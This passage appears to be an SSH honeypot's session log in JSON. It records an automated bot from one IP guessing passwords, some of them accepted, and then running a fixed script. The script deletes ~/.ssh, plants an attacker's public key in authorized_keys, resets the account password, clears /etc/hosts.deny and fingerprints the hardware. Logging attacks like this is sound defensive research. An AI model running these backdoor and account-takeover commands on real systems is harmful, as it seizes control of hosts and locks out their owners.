node\n^C"},{"seq":23,"at":"2026-08-27T11:45:21.662265+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:22.532542+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:22.830430+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:23.360763+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:23.654956+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:24.020002+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:45:24.314902+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:25.531899+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:25.826044+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:27.802804+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"b5e8f38b-6d50-4ae9-8333-9b7007c93415","name":"cosmic-fickle-antelope","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":55828,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:45:10.511008+00:00","ended_at":"2026-08-27T11:45:12.074453+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"11e04557-9c97-4b5f-88fd-1fed273b1584","name":"jagged-crystal-pelican","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":55812,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:45:09.165960+00:00","ended_at":"2026-08-27T11:45:09.926722+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6d31d880-393f-40cb-bce0-572b4babfd4d","name":"jovial-distant-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":39682,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:19.708244+00:00","ended_at":"2026-08-27T11:43:21.106677+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:43:02.615562+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:02.906827+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:06.444757+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:06.995595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:07.286171+00:00","kind":"input","latency_ms":null,"data":"echo \"root:myo4JlUNERBF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:43:07.576177+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:43:07.865709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:08.145575+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:08.436023+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:09.747010+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:10.040662+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:11.247906+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:11.551237+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:12.250276+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:12.541620+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:12.881407+00:00","kind":"output","latency_ms":null,"data":" 11:43:12 up 7 days, 8:33, 0 user, load average: 0.32, 0.33, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:13.171635+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:13.690444+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:13.981477+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:14.706237+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:14.996552+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:15.513162+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:15 up 7 days, 8:33, 0 user, load average: 0.32, 0.33, 0.32\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:15.804777+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:16.452128+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:16.743130+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:17.165476+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:17.454875+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:17.844437+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:43:18.135093+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:19.417162+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:19.708940+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:21.023167+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"74c9d84c-d787-4a46-92ef-2873a8dcb02b","name":"fabled-somber-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":36434,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:43:05.524747+00:00","ended_at":"2026-08-27T11:43:06.358844+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"50f1c376-39ed-48ac-bb75-b1835ff30cf4","name":"cobalt-northern-stork","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":39686,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:43:03.577095+00:00","ended_at":"2026-08-27T11:43:04.945583+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7d4b415a-43b3-43d8-a0cb-ff2a3ce124f5","name":"hazel-buoyant-pelican","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":60424,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:12.249331+00:00","ended_at":"2026-08-27T11:41:14.246162+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2110,"events":[{"seq":1,"at":"2026-08-27T11:40:49.941391+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:40:50.239440+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:40:53.845161+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:40:55.807682+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:40:56.103447+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuckoo\\n8dGleHLDSatD\\n8dGleHLDSatD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:40:56.398664+00:00","kind":"input","latency_ms":null,"data":"echo \"cuckoo\\n8dGleHLDSatD\\n8dGleHLDSatD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:40:56.695615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:40:57.384106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:40:57.814943+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:40:58.482830+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:40:58.779573+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:41:00.330888+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:00.629195+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:41:02.350506+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:41:02.650780+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:41:04.837828+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:41:05.126322+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:41:06.153098+00:00","kind":"output","latency_ms":null,"data":" 11:41:06 up 7 days, 8:31, 0 user, load average: 0.26, 0.26, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:41:06.449828+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:41:06.757915+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:41:07.055671+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:41:07.453166+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:41:07.750316+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:41:08.194650+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:08 up 7 days, 8:31, 0 user, load average: 0.26, 0.26, 0.21\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:41:08.491472+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:41:09.258655+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:41:09.554257+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:41:10.081963+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:41:10.376264+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:41:10.701464+00:00","kind":"output","latency_ms":null,"data":"cuckoo"},{"seq":31,"at":"2026-08-27T11:41:10.993227+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:41:11.954327+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:41:12.250132+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:41:14.157616+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuckoo","password":"cuckoo","method":"password","accepted":true,"tier":"other"}]} {"id":"31d174b1-418d-451c-9d0b-0eaeaaf9e9e9","name":"dusky-blazing-moorhen","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":60456,"username":"cuckoo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:40:52.124123+00:00","ended_at":"2026-08-27T11:40:53.758016+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cuckoo","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d4a1bd90-8c1d-4d39-9c17-06a201bebb1b","name":"bronzed-hollow-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":60440,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:40:50.902080+00:00","ended_at":"2026-08-27T11:40:51.546010+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"faae66eb-6f6c-4422-bff1-f43d752da64c","name":"burly-clever-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":60628,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:39:06.381638+00:00","ended_at":"2026-08-27T11:39:08.291010+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2107,"events":[{"seq":1,"at":"2026-08-27T11:38:50.269306+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:38:50.563860+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:38:53.882419+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:38:54.293294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:38:54.591017+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1qazxsw2!@\\ne3Lomrr4O7eA\\ne3Lomrr4O7eA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:38:54.881129+00:00","kind":"input","latency_ms":null,"data":"echo \"1qazxsw2!@\\ne3Lomrr4O7eA\\ne3Lomrr4O7eA\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:38:55.175711+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:38:55.658014+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:38:55.958537+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:38:57.005911+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:38:57.301554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:38:58.436706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:38:58.730511+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:38:59.569440+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:38:59.865781+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:00.131487+00:00","kind":"output","latency_ms":null,"data":" 11:39:00 up 7 days, 8:29, 0 user, load average: 0.26, 0.24, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:00.424880+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:00.884325+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:01.179180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:01.473112+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:01.766825+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:02.418241+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:02 up 7 days, 8:29, 0 user, load average: 0.26, 0.24, 0.17\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:02.711640+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:03.139088+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:39:03.434355+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:39:03.709945+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:39:04.003287+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:39:04.438654+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T11:39:04.734222+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:39:06.088205+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:39:06.382260+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:39:08.208154+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"1qazxsw2!@","method":"password","accepted":true,"tier":"other"}]} {"id":"1b6fcaf2-7bd9-4e22-b224-dba5d5143c0c","name":"sleepy-lucid-merlin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":60652,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:38:53.096185+00:00","ended_at":"2026-08-27T11:38:53.796615+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"debian","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1531b84e-0a84-41dc-b696-10e78449c18d","name":"oaken-rustic-starling","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":60644,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:38:51.241544+00:00","ended_at":"2026-08-27T11:38:52.496327+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"aabbf096-4217-4e17-88bf-ed63e4672b81","name":"thrifty-umber-civet","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":33370,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:37:15.360384+00:00","ended_at":"2026-08-27T11:37:16.737688+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2096,"events":[{"seq":1,"at":"2026-08-27T11:36:54.215691+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:36:54.519116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:36:59.289067+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:00.126225+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:00.428336+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123qweasdzxc\\nUa9vFJJCsPY8\\nUa9vFJJCsPY8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:37:00.730520+00:00","kind":"input","latency_ms":null,"data":"echo \"123qweasdzxc\\nUa9vFJJCsPY8\\nUa9vFJJCsPY8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:37:01.032585+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:01.688950+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:01.994736+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:03.236189+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:03.539869+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:04.948521+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:05.252949+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:06.134635+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 